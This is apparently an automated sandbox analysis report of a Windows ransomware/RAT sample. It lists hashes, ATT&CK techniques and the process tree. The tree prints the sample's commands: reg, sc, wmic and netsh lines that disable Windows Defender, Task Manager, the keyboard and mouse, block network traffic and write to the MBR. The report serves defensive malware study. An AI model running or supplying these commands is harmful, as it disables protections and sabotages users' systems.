8ebe170b3965ac4cd7a69667b7c312bd19863f91ec2706faea36762c978dbf31

Analysis

max time kernel
0s
max time network
4s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/07/2026, 08:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-27_4a8800b32840a6f91bde4d6303f37efc_akira_quasar-rat.exe
Size 2.2MB
Sample260727-kd8mcsab23
SHA256 8ebe170b3965ac4cd7a69667b7c312bd19863f91ec2706faea36762c978dbf31
MD5 4a8800b32840a6f91bde4d6303f37efc
SHA1 4ee524d331c1ece46f8329a486704c9a339278d4
SHA512 429ff02e9e14b06990de47bd8b4e8c00c3c4103caecf8abe031dbcc8a21e28605503a9970a57e231ac81da00e1cc3193c32d0db2712469d882437b66043f8727
SSDEEP 24576:nt06jlL7Lb5LeimhzPAkT5UVZnBUKttEKaBAGY/jSqycwsCSciv:nt04L7LNLeimZPAlV1BBttIiSMv
TLSH
T12DB54A4B7EB1A1A8E0F985B4C253F422EE27784B161459BA73DC57319F61A033AC877C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

bootkit defense_evasion execution persistence privilege_escalation ransomware

Malware Config

Signatures

Disables Task Manager via registry modification
defense_evasion
Modifies service settings 1 TTPs
Alters the configuration of existing services.
defense_evasion

Windows Service
T1543.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	2026-07-27_4a8800b32840a6f91bde4d6303f37efc_akira_quasar-rat.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\updwall.jpg"	2026-07-27_4a8800b32840a6f91bde4d6303f37efc_akira_quasar-rat.exe

Launches sc.exe 7 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
252	sc.exe
5736	sc.exe
5984	sc.exe
2712	sc.exe
1520	sc.exe
3404	sc.exe
2984	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1964	2026-07-27_4a8800b32840a6f91bde4d6303f37efc_akira_quasar-rat.exe
1964	2026-07-27_4a8800b32840a6f91bde4d6303f37efc_akira_quasar-rat.exe
1964	2026-07-27_4a8800b32840a6f91bde4d6303f37efc_akira_quasar-rat.exe
1964	2026-07-27_4a8800b32840a6f91bde4d6303f37efc_akira_quasar-rat.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1964 wrote to memory of 5796	1964	2026-07-27_4a8800b32840a6f91bde4d6303f37efc_akira_quasar-rat.exe	89
PID 1964 wrote to memory of 3800	1964	2026-07-27_4a8800b32840a6f91bde4d6303f37efc_akira_quasar-rat.exe	90
PID 1964 wrote to memory of 4152	1964	2026-07-27_4a8800b32840a6f91bde4d6303f37efc_akira_quasar-rat.exe	91
PID 1964 wrote to memory of 3916	1964	2026-07-27_4a8800b32840a6f91bde4d6303f37efc_akira_quasar-rat.exe	93
PID 1964 wrote to memory of 2540	1964	2026-07-27_4a8800b32840a6f91bde4d6303f37efc_akira_quasar-rat.exe	94

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Key created	\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	2026-07-27_4a8800b32840a6f91bde4d6303f37efc_akira_quasar-rat.exe

C:\Users\Admin\AppData\Local\Temp\2026-07-27_4a8800b32840a6f91bde4d6303f37efc_akira_quasar-rat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-27_4a8800b32840a6f91bde4d6303f37efc_akira_quasar-rat.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Sets desktop wallpaper using registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1964
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" "/v" "DisableTaskMgr" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  PID:5796
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" "/v" "DisableTaskMgr" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  PID:3800
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" "advfirewall" "set" "allprofiles" "state" "on"
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4152
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" "/v" "DisableAntiSpyware" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  PID:3916
- C:\Windows\SYSTEM32\pnputil.exe
  "pnputil" "/enum-devices" "/class" "{4D36E96B-E325-11CE-BFC1-08002BE10318}"
  2⤵
  PID:2540
- C:\Windows\SYSTEM32\pnputil.exe
  "pnputil" "/enum-devices" "/class" "{4D36E96F-E325-11CE-BFC1-08002BE10318}"
  2⤵
  PID:3200
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" "/v" "DisableRealtimeMonitoring" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  PID:4756
- C:\Windows\SYSTEM32\pnputil.exe
  "pnputil" "/enum-devices" "/class" "{745A17A0-74D3-11D0-B6FE-00A0C90F57DA}"
  2⤵
  PID:2580
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" "/v" "DisableBehaviorMonitoring" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  PID:4660
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" "path" "Win32_PointingDevice" "call" "Disable"
  2⤵
  PID:2728
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "WinDefend"
  2⤵
  - Launches sc.exe
  PID:252
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "WinDefend" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:5736
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" "path" "Win32_Keyboard" "call" "Disable"
  2⤵
  PID:1196
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "Sense"
  2⤵
  - Launches sc.exe
  PID:5984
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" "advfirewall" "set" "allprofiles" "firewallpolicy" "blockinbound,blockoutbound"
  2⤵
  PID:1756
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "Sense" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:2712
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "WdNisSvc"
  2⤵
  - Launches sc.exe
  PID:1520
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "WdNisSvc" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:3404
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "WdBoot"
  2⤵
  - Launches sc.exe
  PID:2984

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

boykisser_step.log

Path C:\Users\Admin\AppData\Local\Temp\boykisser_step.log
Size 27B
SHA256 f191c8f5be42353bb7a408e54fc3bbdd37948fd7ebf49534dad01cd5faa06b13
MD5 64d29c07d7c5fd6649e53d72f22e2dce
SHA1 d7c4bbde8a711f1cdaf757356b058016dbc1b10a
SHA512 35902ae9504cecddf020d08e4d17f30ee1ebce197790557459c03a34b6e8795301e77097b66a6d848dace549fa8e65308e4a666ad80d6748791fbab01b0ab50b
MD5 SHA1 SHA512

Submit Download